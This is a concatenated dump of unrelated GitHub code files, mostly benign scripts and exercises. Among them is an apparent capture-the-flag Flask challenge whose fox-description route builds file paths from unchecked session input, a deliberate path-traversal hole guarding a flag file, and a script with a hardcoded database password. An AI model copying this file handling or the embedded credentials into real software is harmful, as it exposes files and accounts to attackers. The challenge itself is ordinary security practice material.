try:\r\n items = line.split(',')\r\n dummyNumber1 = float(items[0].strip())\r\n dummyNumber2 = float(items[1].strip())\r\n except:\r\n return False\r\n\r\n if len(line) > 30:\r\n return False\r\n\r\n return True\r\n\r\n def _generateLinesImplemetation(self):\r\n \"\"\"\r\n Only two coordinates is used, for import in the CASINO GUI.\r\n \"\"\"\r\n lines = []\r\n for point_nm in self._scanPoints:\r\n line = \"%f, %f\\n\" % point_nm\r\n lines.append(line)\r\n\r\n return lines\r\n\r\nclass ScanPointsFileScript(ScanPointsFile):\r\n def _initData(self):\r\n self.setNumberPoints(0)\r\n self.setWidth_nm(0)\r\n self.setHeight_nm(0)\r\n self.setCenterPoint((0.0, 0.0, 0.0))\r\n self._numberPointsY = None\r\n self._numberPointsZ = None\r\n\r\n self._pixelSize_nm = None\r\n self._separation_nm = None\r\n\r\n def setCenterPoint(self, point):\r\n assert len(point) == 3\r\n self._centerPoint = point\r\n\r\n def setPixelSize_nm(self, pixelSize_nm):\r\n self._pixelSize_nm = pixelSize_nm\r\n\r\n def setLinescanX(self):\r\n if self._numberPoints == 0 and self._widthMax_nm != None:\r\n numberPoints = self._widthMax_nm / self._pixelSize_nm\r\n self.setNumberPoints(numberPoints)\r\n else:\r\n width_nm = self._pixelSize_nm * self._numberPoints\r\n self.setWidth_nm(width_nm)\r\n self.setHeight_nm(0)\r\n\r\n def setLinescanY(self):\r\n height_nm = self._pixelSize_nm * self._numberPoints\r\n self.setWidth_nm(0)\r\n self.setHeight_nm(height_nm)\r\n\r\n def setLinescanXY(self):\r\n numberPointsPerDirection = int(math.sqrt(self._numberPoints))\r\n\r\n height_nm = self._pixelSize_nm * numberPointsPerDirection\r\n width_nm = self._pixelSize_nm * numberPointsPerDirection\r\n self.setWidth_nm(width_nm)\r\n self.setHeight_nm(height_nm)\r\n\r\n def _generateLinescanX(self):\r\n self._computeSeparationX_nm()\r\n\r\n y = self._centerPoint[1]\r\n z = self._centerPoint[2]\r\n self._scanPoints = []\r\n for x in self._getRangeX_nm():\r\n point = (x, y, z)\r\n self._scanPoints.append(point)\r\n\r\n def _generateLinescanY(self):\r\n self._computeSeparationY_nm()\r\n\r\n x = self._centerPoint[0]\r\n z = self._centerPoint[2]\r\n self._scanPoints = []\r\n for y in self._getRangeY_nm():\r\n point = (x, y, z)\r\n self._scanPoints.append(point)\r\n\r\n def _generateAreascanXY(self):\r\n z = self._centerPoint[2]\r\n if self._numberPoints != 0:\r\n self._computeSeparation_nm()\r\n\r\n self._scanPoints = []\r\n for x in self._getRangeX_nm():\r\n for y in self._getRangeY_nm():\r\n point = (x, y, z)\r\n self._scanPoints.append(point)\r\n elif self._numberPointsY != None and self._numberPointsZ != None:\r\n self._scanPoints = []\r\n for x in self._getRangeX2_nm():\r\n for y in self._getRangeY2_nm():\r\n point = (x, y, z)\r\n self._scanPoints.append(point)\r\n else:\r\n raise NotImplementedError\r\n\r\n def _generateLinesImplemetation(self):\r\n \"\"\"\r\n With three coordinates is used, for import in the CASINO script console.\r\n \"\"\"\r\n lines = []\r\n for point_nm in self._scanPoints:\r\n line = \"%f %f %f\\n\" % point_nm\r\n lines.append(line)\r\n\r\n return lines\r\n","repo_name":"drix00/pycasinotools","sub_path":"casinotools/fileformat/casino3/ScanPointsFile/ScanPointsFile.py","file_name":"ScanPointsFile.py","file_ext":"py","file_size_in_byte":8626,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"72418172891","text":"\r\nfrom firebase_admin import firestore\r\n\r\nTestData = {}\r\n\r\n\r\ndef getDocuments(testname):\r\n temp = []\r\n store = firestore.client()\r\n docs = store.collection(testname).stream()\r\n for doc in docs:\r\n temp.append(doc.to_dict())\r\n # print(u'{} => {}'.format(doc.id, doc.to_dict()))\r\n return temp","repo_name":"rlkiran/OJASLABSOFTWARE","sub_path":"FireTest.py","file_name":"FireTest.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26006070735","text":"#1.先判断是否有环:有环的话会无限循环,那么可以来个跑的快的指针和跑的慢的指针,如果能相遇就最好\n#2.追到的时候公式推理,及细节。见https://www.programmercarl.com/0142.%E7%8E%AF%E5%BD%A2%E9%93%BE%E8%A1%A8II.html#%E8%A1%A5%E5%85%85\n#注意,为什么慢的会走在一圈内的分析!\n\n\n##判断是否存在,就要想到hash表\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def detectCycle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n #1. 判断是否有环\n fast,slow = head,head\n flag = 0\n b = head\n while fast is not None and fast.next is not None and fast.next.next is not None:\n fast = fast.next.next\n slow = slow.next\n if fast == slow:\n flag = 1\n while True:\n if fast == b:\n return fast\n fast = fast.next\n b = b.next\n \n \n if flag == 0:\n return None\n \n\nclass Solution:\n def detectCycle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n #1. 判断是否有环\n cur = head\n dic = {}\n while cur is not None:\n if cur in dic:\n return cur\n dic[cur] = 1\n cur = cur.next\n return None\n","repo_name":"supersyz/good_job","sub_path":"代码随想录/2链表/142.py","file_name":"142.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"37460173947","text":"# %%\nimport xjobs as xj\nimport os\n\n\ndef test_JobSet():\n my_jobs = xj.JobSet(\n jobs = [\n xj.Job(name='myjob1', command='./000_folder/run.sh Isaac Newton', \n ready_condition=xj.ConditionFileExists(\n './000_folder/run.sh'),\n success_condition=xj.ConditionFileContains(\n './000_folder/000.out',\n 'ton'),\n ),\n xj.Job(name='myjob2', command='./000_folder/run.sh Albert Einstein 001', \n ready_condition=xj.ConditionFileExists(\n './000_folder/run.sh'),\n success_condition=xj.ConditionFileContains(\n './000_folder/001.out',\n 'Alb'),\n ),\n xj.Job(name='myjob3', command='./000_folder/run.sh Enrico Fermi 002',\n ready_condition=xj.ConditionFileExists(\n './000_folder/run.sh'),\n success_condition=xj.ConditionFileContains(\n './000_folder/002.out',\n 'ico'),\n )\n ],\n platform = 'local',\n num_max_cuncurrent_jobs=1\n )\n\n my_jobs.to_pickle('jobs.pickle')\n assert len(my_jobs.jobs)==3\n len(my_jobs.get_running())==0\n\n my_jobs.launch_jobs()\n assert my_jobs['myjob1'].is_running()","repo_name":"xsuite/xjobs","sub_path":"tests/test_000.py","file_name":"test_000.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5258025237","text":"import tensorflow as tf\n\ndef multiple_heads_MSE(num_heads):\n weight = 1.0 / num_heads\n \n def custom_loss(y_true, y_pred):\n \" This loss is the same as standard MSE, but MSE is applied to each head. \"\n\n loss = 0\n for i in range(num_heads):\n y_pred_tmp = y_pred[:,3*i:3*(i+1)]\n\n loss_tmp = tf.keras.losses.mean_squared_error(y_true, y_pred_tmp)\n loss += weight * tf.reduce_mean(loss_tmp)\n\n return loss\n \n return custom_loss\n\n\n\ndef multiple_heads_MSE_WTA(num_heads):\n weight = 1.0 / num_heads\n \n def custom_loss(y_true, y_pred):\n \" This loss is the same as standard MSE, but MSE is applied to each head. \"\n\n losses = []\n for i in range(num_heads):\n y_pred_tmp = y_pred[:,3*i:3*(i+1)]\n\n loss_tmp = tf.keras.losses.mean_squared_error(y_true, y_pred_tmp)\n losses.append(weight * tf.reduce_mean(loss_tmp))\n \n # WTA approach - choose loss which did the best and compute gradients wrt only this one.\n loss = tf.math.reduce_min(losses)\n\n return loss\n \n return custom_loss\n\n\n\ndef get_RWTA_for_MSE_loss(M, eps, output_dim, fixed_variance=True):\n \"\"\" \n Note: fixed_variance is not used in this loss, \n it is just passed to conveniently loop through all the losses \n \"\"\"\n weight = 1.0 / M\n \n def RWTA_for_MSE_loss(y_true, y_pred):\n \" This loss is the same as standard MSE, but MSE is applied to each head. \"\n\n heads_losses = []\n for i in range(M):\n y_pred_tmp = y_pred[:,output_dim*i:output_dim*(i+1)]\n\n loss_tmp = tf.keras.losses.mean_squared_error(y_true, y_pred_tmp)\n loss_tmp = tf.expand_dims(loss_tmp, -1)\n heads_losses.append(loss_tmp)\n \n losses_combined = tf.concat(heads_losses, 1)\n \n # WTA approach - choose loss which did the best and compute gradients wrt only this one.\n loss = (1-eps) * (M-1/M) * tf.reduce_min(losses_combined, axis=1) + (eps/M) * tf.reduce_sum(losses_combined, axis=1)\n \n return tf.reduce_mean(loss)\n \n return RWTA_for_MSE_loss","repo_name":"janekzimoch/localisation_with_image","sub_path":"PlayGround/Multimodality/2D_set_of_explenations/losses/mean_squared_error.py","file_name":"mean_squared_error.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41500263521","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\n This file is subject to the terms and conditions defined in\n file 'LICENSE.txt', which is part of this source code package.\n\n Written by Dr. Gianmarco Mengaldo, May 2020.\n'''\nimport __includes__\n\nimport sys\nimport time\nimport warnings\nimport numpy as np\nfrom dynamics.ode_solver import OdeIntegration\nwarnings.filterwarnings(\"ignore\")\n\n\n\ndef rhs_pendulum(t, x, b, c):\n theta, omega = x\n dxdt = [omega, -b * omega - c * np.sin(theta)]\n return dxdt\n\ndef simple_example():\n '''\n single pendulum subject to gravity and damping\n '''\n x0 = [np.pi - 0.1, 0.0]\n b = 0.25\n c = 5.00\n t0 = 0\n tN = 100\n N = 100000\n t = np.linspace(t0, tN, N)\n\n # 3 different methods for ODE solutions\n start = time.time()\n ODE = OdeIntegration(rhs_pendulum, x0, t, params=(b,c), backend='scipy_odeint')\n t1, sol1 = ODE.solve()\n print('Elapsed time scipy_odeint: ', time.time() - start, 's.')\n\n start = time.time()\n ODE = OdeIntegration(rhs_pendulum, x0, t, params=(b,c), backend='scipy_ode', approach='dopri5')\n t2, sol2 = ODE.solve()\n print('Elapsed time scipy_ode: ', time.time() - start, 's.')\n\n start = time.time()\n ODE = OdeIntegration(rhs_pendulum, x0, t, params=(b,c), backend='scipy_solve_ivp', approach='LSODA')\n t3, sol3 = ODE.solve()\n print('Elapsed time scipy_solve_ivp: ', time.time() - start, 's.')\n\n import matplotlib.pyplot as plt\n fig, axs = plt.subplots(1, 3, constrained_layout=True, figsize=(16,8))\n axs[0].plot(t1, sol1[:, 0], 'b', label='theta(t)')\n axs[0].plot(t1, sol1[:, 1], 'g', label='omega(t)')\n axs[0].legend(loc='best')\n axs[0].set_xlabel('t')\n axs[0].grid()\n axs[1].plot(t2, sol2[:, 0], 'b', label='theta(t)')\n axs[1].plot(t2, sol2[:, 1], 'g', label='omega(t)')\n axs[1].legend(loc='best')\n axs[1].set_xlabel('t')\n axs[1].grid()\n axs[2].plot(t3, sol3[:, 0], 'b', label='theta(t)')\n axs[2].plot(t3, sol3[:, 1], 'g', label='omega(t)')\n axs[2].legend(loc='best')\n axs[2].set_xlabel('t')\n axs[2].grid()\n plt.savefig('pendulum.png')\n\nif __name__ == \"__main__\":\n simple_example()\n","repo_name":"engineersneha/Mathematics-project","sub_path":"ddpy/examples/example_dynamics_pendulum.py","file_name":"example_dynamics_pendulum.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26528974282","text":"import pandas as pd\n\ndef game_analysis(activity: pd.DataFrame) -> pd.DataFrame:\n return activity.sort_values('event_date').drop_duplicates('player_id').drop(['device_id', 'games_played'], axis=1).rename({'event_date': 'first_login'}, axis=1)\n\n\n\nif __name__ == '__main__':\n df = pd.DataFrame({\n 'player_id': [1, 1, 2, 3, 3],\n 'device_id': [2, 2, 3, 1, 4],\n 'event_date': ['2016-03-01', '2016-05-02', '2017-06-25', '2016-03-02', '2018-07-03'],\n 'games_played': [5, 6, 1, 0, 5],\n })\n\n df = game_analysis(df)\n print(df)\n\n","repo_name":"andrei-radu/leetcode-pandas-mysql","sub_path":"Pandas/511-game-play-analysis-i.py","file_name":"511-game-play-analysis-i.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1655394321","text":"from PPO import *\nimport torch\nfrom params import configs\nimport numpy as np\nfrom Codes.ProgramEnv import ProgEnv\n# CUDA_LAUNCH_BLOCKING=1\ndef greedy_test(modelPath, pars, device):\n test_env = ProgEnv(*pars)\n # state space dimension\n if configs.acnet == 'mlp':\n state_dim = test_env.action_space.n * 3\n # action space dimension\n action_dim = test_env.action_space.n\n else:\n state_dim = test_env.action_space.n\n # action space dimension\n action_dim = test_env.action_space.n\n # upload policy\n policy = ActorCritic(state_dim, action_dim, device, acnet=configs.acnet).to(device)\n policy.load_state_dict(torch.load(modelPath))\n policy.eval()\n\n _, fea, _, mask = test_env.reset()\n epi_rewards = 0\n actions = []\n times = []\n rewards = []\n time_feasible = []\n activity_feasible = []\n renew_feasible = []\n non_renew_feasible = []\n feasible_printf = False\n step = 0\n while True:\n fea_tensor = torch.from_numpy(np.copy(fea)).to(device).float()\n # weights_tensor = torch.from_numpy(np.copy(weights)).to(device).float()\n with torch.no_grad():\n action, _ = policy.act_exploit(fea_tensor, mask)\n _, fea, reward, done, _, mask, time, feasible_info = test_env.step(action.item())\n epi_rewards += reward\n rewards.append(int(reward))\n actions.append(action.item())\n time_fsb, act_fsb, renew_fsb, non_renew_fsb = feasible_info['time'], feasible_info['activity'], feasible_info['renew'], feasible_info['nonrenew']\n time_feasible.append(time_fsb)\n activity_feasible.append(act_fsb)\n renew_feasible.append(renew_fsb)\n non_renew_feasible.append(non_renew_fsb)\n if not feasible_printf:\n if not time_fsb:\n print(\"Time Feasible error at step {}\".format(step))\n feasible_printf = True\n if not act_fsb:\n print(\"Activity Feasible error at step {}\".format(step))\n feasible_printf = True\n if not renew_fsb:\n print(\"Renew Resource Feasible error at step {}\".format(step))\n feasible_printf = True\n if not non_renew_fsb:\n print(\"Non Renew Resource Feasible error at step {}\".format(step))\n feasible_printf = True\n step += 1\n\n times.append(time)\n if done:\n break\n\n ActSeq = []\n ModeSeq = []\n TimeSeq = times\n mode_Number = test_env.Activity_mode_Num\n cum_sum = np.cumsum(mode_Number) - 1\n for act in actions:\n activity = np.where(cum_sum >= act)[0][0].item()\n mode = max(act - cum_sum[max(int(activity)-1, 0)], 1)\n ActSeq.append(activity)\n ModeSeq.append(mode)\n return epi_rewards, rewards, actions, ActSeq, ModeSeq, TimeSeq\n\n\nif __name__ == '__main__':\n modelpath = '../log/cnn_summary/Lot1/20221128-2116/PPO-ProgramEnv-converge-model-Lot1.pth'\n pars = configs.filepath, configs.Target_T, configs.price_renew, configs.price_non, configs.penalty0, configs.penalty1, configs.penalty_mode, configs.acnet\n device = configs.device\n epi_rewards, rewards, actions, ActSeq, ModeSeq, TimeSeq = greedy_test(modelpath, pars, device)\n print('================================================')\n print('============== The Final Reward is: ============')\n print('{}'.format(np.round(epi_rewards, 3)))\n print('======= The Final Activity Sequence is: ========')\n print(ActSeq)\n print('========= The Final Mode Sequence is: ==========')\n print(ModeSeq)\n print('========= The Final Time Sequence is: ==========')\n print(TimeSeq)\n print('================================================')\n\n\n\n","repo_name":"Michaelrising/Engineering-optimization","sub_path":"Codes/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14442346981","text":"import bz2\n\nf_source = \"enwiki-20150112-400-r10-105752.txt.bz2\"\nf_del = \"del_list.txt\"\nf_result = \"result.txt\"\ni = 0\nwith bz2.open(f_source, \"rt\") as data_file,\\\n open(f_del, \"r\") as data_del,\\\n open(f_result, \"w\") as data_result:\n for cols in data_file:\n i += 1\n # 空白分割\n cols = cols.split()\n # print(cols)\n # 末尾の文字削除\n for _ in data_del:\n del_list = _\n # print(del_list)\n col2s = []\n # strip()を作用させても、作用させた文字列は書き変わらないよ。\n for col in cols:\n # print(col)\n col2 = col.strip(del_list)\n if col2 != \"\":\n col2s.append(col2)\n # print(col)\n for col2 in col2s:\n print(col2, end=\" \", file=data_result)\n # print(col2, end=\" \")\n print(\"\", file=data_result)\n # print(\"\")\n","repo_name":"higher68/lang_process","sub_path":"80.py","file_name":"80.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70285095133","text":"from flask import Flask, request, session, render_template, redirect\nimport os\nfrom config.secret import gen_secret, gen_admin\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = gen_secret(os.environ.get(\"SECRET_KEY_FILE\"))\napp.config['DEBUG'] = False\nos.environ[\"ADMIN\"] = gen_admin()\n\n@app.route('/')\ndef index():\n if not session.get(\"name\"):\n return redirect(\"/signin\")\n return render_template(\"index.html\")\n\n@app.route('/signin', methods=[\"POST\", \"GET\"])\ndef login():\n if request.method == \"POST\":\n if len(request.form.get(\"fox\")) > 35 or len(request.form.get(\"name\")) > 15:\n return render_template(\"error.html\", error=\"Name or fox name too long.\")\n if request.form.get(\"name\") in os.environ.get(\"ADMIN\"):\n return render_template(\"error.html\", error=\"Invalid name!\")\n if \".\" in request.form.get(\"fox\"):\n return render_template(\"error.html\", error=\"Invalid fox!\")\n session[\"name\"] = request.form.get(\"name\")\n session[\"fox\"] = request.form.get(\"fox\")\n return redirect(\"/\")\n return render_template(\"login.html\")\n\n\n@app.route('/fox')\ndef governmentAssignedFox():\n if not session.get(\"name\"):\n return redirect(\"/signin\")\n user = session[\"name\"]\n fox = session['fox']\n fox_img = os.path.join(\"static\", \"images\", fox + \".gif\")\n try:\n with open(os.path.join(\"assets\", \"fox_descs\", fox), \"r\") as f:\n fox_desc = f.read(100)\n if fox_desc.startswith(\"FLAG\"):\n if session[\"name\"] == os.environ.get(\"ADMIN\"):\n flag = open(\"/flag_la_volpe\", \"r\")\n return flag\n else:\n return render_template(\"error.html\", error=\"You can't read that :>\")\n return render_template(\"fox.html\", image=fox_img, description=fox_desc, name=user)\n except FileNotFoundError:\n return render_template(\"error.html\", error=\"Unable to find fox description file.\")\n except PermissionError:\n return render_template(\"error.html\", error=\"You dont have access.\")\n\n\n@app.route('/changefox', methods = [\"POST\", \"GET\"])\ndef changeFox():\n if not session.get(\"name\"):\n return redirect(\"/signin\")\n if request.method == \"POST\":\n session[\"fox\"] = request.form.get(\"fox\")\n return redirect(\"/fox\")\n else:\n return render_template(\"change.html\")\n\n@app.route('/signout')\ndef logout():\n session[\"name\"] = None\n session[\"fox\"] = None\n return redirect(\"/\")\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=False, port=8080)","repo_name":"FrankWhoee/playplace","sub_path":"saplingctf2023/el-zorro/static/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41532976692","text":"# 1. Создайте класс AddressBook, в котором будет реализован метод __init__\n# 2. В методе __init__ заданы 2 поля: self.developers со значением пустого словаря ({})\n# и self.last_developer_id со значением 0\n# 3. Создайте адресную книгу разработчиков (объект ab класса AddressBook)\nclass AddressBook:\n def __init__(self):\n self.developers = {}\n self.last_developer_id = 0\n\n\nab = AddressBook()","repo_name":"SergeyHodak/PythonDay3","sub_path":"tasck01.py","file_name":"tasck01.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27970830507","text":"# Injects error by flipping bits at specified number of indices of input string\nimport random\n\n\ndef gen_rand_error(data: str, count: int) -> str:\n length = len(data)\n digit_list = list(data)\n k = random.sample(range(0, length), count)\n for index in k:\n # Replaces 0-s with 1-s & 1-s with 0-s at specified number of positions\n if digit_list[index] == '1':\n digit_list[index] = digit_list[index].replace('1', '0')\n elif digit_list[index] == '0':\n digit_list[index] = digit_list[index].replace('0', '1')\n return (\"\".join(digit_list))\n\n\nif __name__ == \"__main__\":\n string_to_modify = str(input(\"Enter the string to be modified : \"))\n flip_count = int(input(\"Enter number of bits to be flipped : \"))\n new_string = gen_rand_error(string_to_modify, flip_count)\n print(\"The modified String is : \" + new_string)\n ","repo_name":"atanughosh01/Network-Simulations","sub_path":"ErrorDetection/src/ChannelProcess.py","file_name":"ChannelProcess.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"1655171051","text":"import csv\nfrom datetime import datetime\nimport psycopg2\n\n# connects to database\nconn = psycopg2.connect(\n database=\"fannies\", user='postgres',\n password='JerryPine', host='localhost', port='5432'\n)\n\n# change this monthly\ndata_path = 'cvs_readers/data/input/ec220204.txt'\n\n\nwith open(data_path, newline='') as csvfile:\n data = csv.reader(csvfile, delimiter='|')\n headers = next(data)\n\n head = []\n\n for row in data:\n\n try:\n fdonename = row[0]\n fdonecusip = row[1]\n fdtwoename = row[2]\n fdtwocusip = row[3]\n exchangeable = row[4]\n exchanged = row[5]\n date = row[6][4:8] + '-' + row[6][0:2] + '-' + row[6][2:4]\n\n # print(date)\n\n head.append([fdonename, fdonecusip, fdtwoename,\n fdtwocusip, exchangeable, exchanged, date])\n\n except Exception as e:\n # we seem to get a couple of very new supers (like platinums) each month\n print(row)\n print(e)\n\nheadfields = [\"fdonename\", \"fdonecusip\", \"fdtwoename\", \"fdtwocusip\",\n \"exchangeable\", \"exchanged\", \"date\"]\n\nwith open('cvs_readers/data/output/ecs.cvs', 'w', newline='') as csvfile:\n # creating a csv writer object\n csvwriter = csv.writer(csvfile)\n\n # writing the fields\n csvwriter.writerow(headfields)\n\n # writing the data rows\n csvwriter.writerows(head)\n\n\n# connecting to database\n# what is autocommit\nconn.autocommit = True\ncursor = conn.cursor()\n\ncsv_file_name = 'cvs_readers/data/output/ecs.cvs'\nsql = \"COPY ecs FROM STDIN DELIMITER ',' CSV HEADER\"\ncursor.copy_expert(sql, open(csv_file_name, \"r\"))\n\n# not sure if these are ncessary but I think they help\nconn.commit()\nconn.close()\n","repo_name":"michaelrios2015/fannies_and_freddies","sub_path":"cvs_readers/ecs.py","file_name":"ecs.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36615831545","text":"from cards import Card, Deck, Hand, Chips\nfrom game_functions import *\n\nwhile True:\n # Print an opening statement\n print('Welcome to BlackJack! Get as close to 21 as you can without going over!\\n\\\n Dealer hits until she reaches 17. Aces count as 1 or 11.')\n\n deck = Deck()\n deck.shuffle()\n\n player_hand = Hand()\n player_hand.add_cards(deck.deal())\n player_hand.add_cards(deck.deal())\n\n dealer_hand = Hand()\n dealer_hand.add_cards(deck.deal())\n dealer_hand.add_cards(deck.deal())\n\n # set up players ships\n player_chips = Chips()\n\n take_bet(player_chips)\n\n show_some(player_hand, dealer_hand)\n\n hit_or_stand(deck, player_hand)\n\n show_some(player_hand, dealer_hand)\n\n if player_hand.value >21:\n player_busts(player_hand, dealer_hand,player_chips)\n break\n if player_hand.value <=21:\n while dealer_hand.value < 17:\n hit(deck,dealer_hand)\n\n show_all(player_hand, dealer_hand)\n\n # Run different winning scenarios\n if dealer_hand.value > 21:\n dealer_busts(player_hand, dealer_hand, player_chips)\n\n elif dealer_hand.value > player_hand.value:\n dealer_wins(player_hand, dealer_hand, player_chips)\n\n elif dealer_hand.value < player_hand.value:\n player_wins(player_hand, dealer_hand, player_chips)\n\n else:\n push(player_hand, dealer_hand)\n\n print(\"\\nPlayer's winnings stand at\", player_chips.total)\n\n # Ask to play again\n new_game = input(\"Would you like to play another hand? Enter 'y' or 'n' \")\n\n if new_game[0].lower() == 'y':\n playing = True\n continue\n else:\n print(\"Thanks for playing!\")\n break","repo_name":"Pektech/simple21","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9425970414","text":"import csv\nimport logging\nimport os\n\nimport constants\nimport globals\n\n\ndef parse():\n parse_cubes()\n\n\ndef parse_cubes():\n logging.debug('Parsing cubes...')\n\n for id in globals.cubes:\n obj = globals.cubes[id]\n\n # Add additional fields\n obj['Link_Items'] = []\n\n\ndef parse_links():\n parse_links_items()\n\n\ndef parse_links_items():\n logging.debug('Parsing items for cubes...')\n\n ies_path = os.path.join(constants.PATH_INPUT_DATA, 'ies.ipf', 'reward_indun.ies')\n ies_file = open(ies_path, 'rb')\n ies_reader = csv.DictReader(ies_file, delimiter=',', quotechar='\"')\n\n for row in ies_reader:\n if row['Group'] not in globals.cubes_by_stringarg:\n continue\n\n cube = globals.cubes_by_stringarg[row['Group']]\n cube['Link_Items'].append(globals.get_item_link(row['ItemName']))\n\n ies_file.close()\n","repo_name":"rjgtav/tos-database","sub_path":"tos-parser/src/parserr/parser_items_cubes.py","file_name":"parser_items_cubes.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"32"} +{"seq_id":"19623375840","text":"#! /usr/bin/env python\n\n########################################################################################################################\n# This script runs metaxcan for three different populations,\n# and builds a grid of plots comparing populations against each other.\n#\n# TODO: add argparse?\n\nimport os\nfrom subprocess import call\nimport logging\nimport metax.Logging as Logging\n\n__author__ = 'heroico'\n\nEUR = \"EUR\"\nEAS = \"EAS\"\nAFR = \"AFR\"\nSEL = \"SEL\"\n\nSTUDY_POP = [ EUR, EAS, AFR]\nREF_POP = [ EUR, EAS, AFR]\n\n\n# STUDY_POP = [ EUR, EAS, AFR, SEL]\n# REF_POP = [ EUR, EAS, AFR, SEL]\n\n# BETA = {\n# EUR: \"intermediate/BETA_SIM_TGF_EUR\",\n# EAS: \"intermediate/BETA_SIM_TGF_EAS\",\n# AFR: \"intermediate/BETA_SIM_TGF_AFR\",\n# }\n#\n# COV = {\n# EUR: \"intermediate/COV_DGNWB_TGF_EUR\",\n# EAS: \"intermediate/COV_DGNWB_TGF_EAS\",\n# AFR: \"intermediate/COV_DGNWB_TGF_AFR\",\n# }\n#\n# PREDIXCAN = {\n# EUR: \"data/predixcan_s_dgnwb_eur.txt\",\n# EAS: \"data/predixcan_s_dgnwb_eas.txt\",\n# AFR: \"data/predixcan_s_dgnwb_afr.txt\",\n# }\n\nBETA = {\n EUR: \"intermediate/BETA_IGROWTH_TGF_EUR\",\n EAS: \"intermediate/BETA_IGROWTH_TGF_EAS\",\n AFR: \"intermediate/BETA_IGROWTH_TGF_AFR\",\n}\n\nCOV = {\n EUR: \"intermediate/COV_DGNWB_TGF_EUR\",\n EAS: \"intermediate/COV_DGNWB_TGF_EAS\",\n AFR: \"intermediate/COV_DGNWB_TGF_AFR\",\n}\n\nPREDIXCAN = {\n EUR: \"data/predixcan_igrowth_dgnwb_eur.txt\",\n EAS: \"data/predixcan_igrowth_dgnwb_eas.txt\",\n AFR: \"data/predixcan_igrowth_dgnwb_afr.txt\",\n}\n\nRESULTS = \"results/results_igrowth\"\n\n#\ndef zscore_path(study, reference):\n output_name = \"beta_%s_ref_%s_zscores.csv\" % (study, reference)\n output_file = os.path.join(RESULTS, output_name)\n return output_file\n\ndef zscore(study, reference):\n command = \"M04_zscores.py\"\n command += \" --covariance_folder \" + COV[reference]\n command += \" --beta_folder \" + BETA[study]\n command += \" --output_file \" + zscore_path(study, reference)\n\n logging.log(9, command)\n call(command.split())\n\n#\ndef predixcan_zscore_path(study, reference):\n output_name = \"beta_%s_ref_%s_predixcan_zscores.csv\" % (study, reference)\n output_file = os.path.join(RESULTS, output_name)\n return output_file\n\ndef post_process(study, reference):\n command = \"PostProcessData.py\"\n command += \" --predixcan_file \" + PREDIXCAN[study]\n command += \" --zscore_file \" + zscore_path(study, reference)\n command += \" --output \" + predixcan_zscore_path(study, reference)\n command += \" --save_error_proxy\"\n\n logging.log(9, command)\n call(command.split())\n\n#\ndef plot(study, reference):\n command = \"Rscript PlotValuesWithSamples.R\"\n command += \" --zscore_file \" + zscore_path(study, reference).split(\".csv\")[0]\n command += \" --predixcan_file \" + predixcan_zscore_path(study, reference).split(\".csv\")[0]\n\n logging.log(9, command)\n call(command.split())\n\ndef run():\n for reference in REF_POP:\n for study in STUDY_POP:\n zscore(study, reference)\n post_process(study,reference)\n #plot(study, reference)\n\nif __name__ == \"__main__\":\n Logging.configureLogging(9)\n run()\n","repo_name":"hakyimlab/MetaXcan-Postprocess","sub_path":"source/deprecated/PPlots.py","file_name":"PPlots.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26431061060","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: ai:hls:ts=4:sw=4:expandtab\n\n\"\"\"\nData collector to fetch data from a \"Benning Solar\" photovoltaic inverter and publish them to a MQTT topic\n\"\"\"\n__description__ = 'Data collector to fetch data from a \"Benning Solar\" photovoltaic inverter and publish them to a MQTT topic'\n__author__ = \"Christian Anton\"\n__copyright__ = \"Copyright 2021\"\n__license__ = \"MIT\"\n__version__ = \"0.2.0\"\n__maintainer__ = \"Christian Anton\"\n__status__ = \"Development\"\n\n\n###############################################################################\n# imports\nimport sys\nimport logging\nfrom logging.handlers import SysLogHandler\nimport os\nimport socket\nimport pwd\nimport argparse\n# import xml.etree.ElementTree as ET\nimport json\nimport csv\n# from time import 